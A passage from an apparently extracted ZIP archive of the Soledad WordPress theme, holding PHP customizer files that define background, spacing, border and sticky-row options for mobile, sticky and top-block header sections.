	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     /w\:}*    M  builder/customizer/sections/penci_header_mobile_bottombar_setting_section.phpnu [        <?php
$mobile_row   = 'bottombar';
$name         = 'Mobile Bottom Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     /w\vpy    J  builder/customizer/sections/penci_header_desktop_sticky_bottom_section.phpnu [        <?php
$sticky_row   = 'bottom';
$name         = 'Sticky Bottom';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'settings'  => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\fR  R  G  builder/customizer/sections/penci_header_desktop_sticky_mid_section.phpnu [        <?php
$sticky_row   = 'mid';
$name         = 'Sticky Middle';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\M@    H  builder/customizer/sections/penci_header_topblockbar_setting_section.phpnu [        <?php
$area          = 'topblock';
$name          = 'Top Block';
$area_settings = $area . 'bar';
$default_width = 'container-fullwidth';
$section_name  = "penci_header_{$area_settings}_setting_section";
$options       = [];
/* Section Settings */
$options[] = array(
	'id'       => "penci_header_{$area}_content_direction",
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => $name . __( ' Content Direction', 'soledad' ),
	'choices'  => [
		'row'     => 'Row',
		'columns' => 'Columns',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     /w\5  5  E  builder/customizer/sections/penci_header_drawer_container_section.phpnu [        <?php
/* Sidebar Section */
$mobile_sidebar_section = 'penci_header_drawer_container_section';
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_style",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Style', 'soledad' ),
	'choices'   => [
		''          => 'Default',
		'fullwidth' => 'Full Width',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_position",
	'default'   => 'left',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Position', 'soledad' ),
	'choices'   => [
		'left'  => 'Left',
		'right' => 'Right',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => esc_html__( 'Mobile Sidebar Background Image', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Mobile Sidebar Background Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Repeat', 'soledad' ),
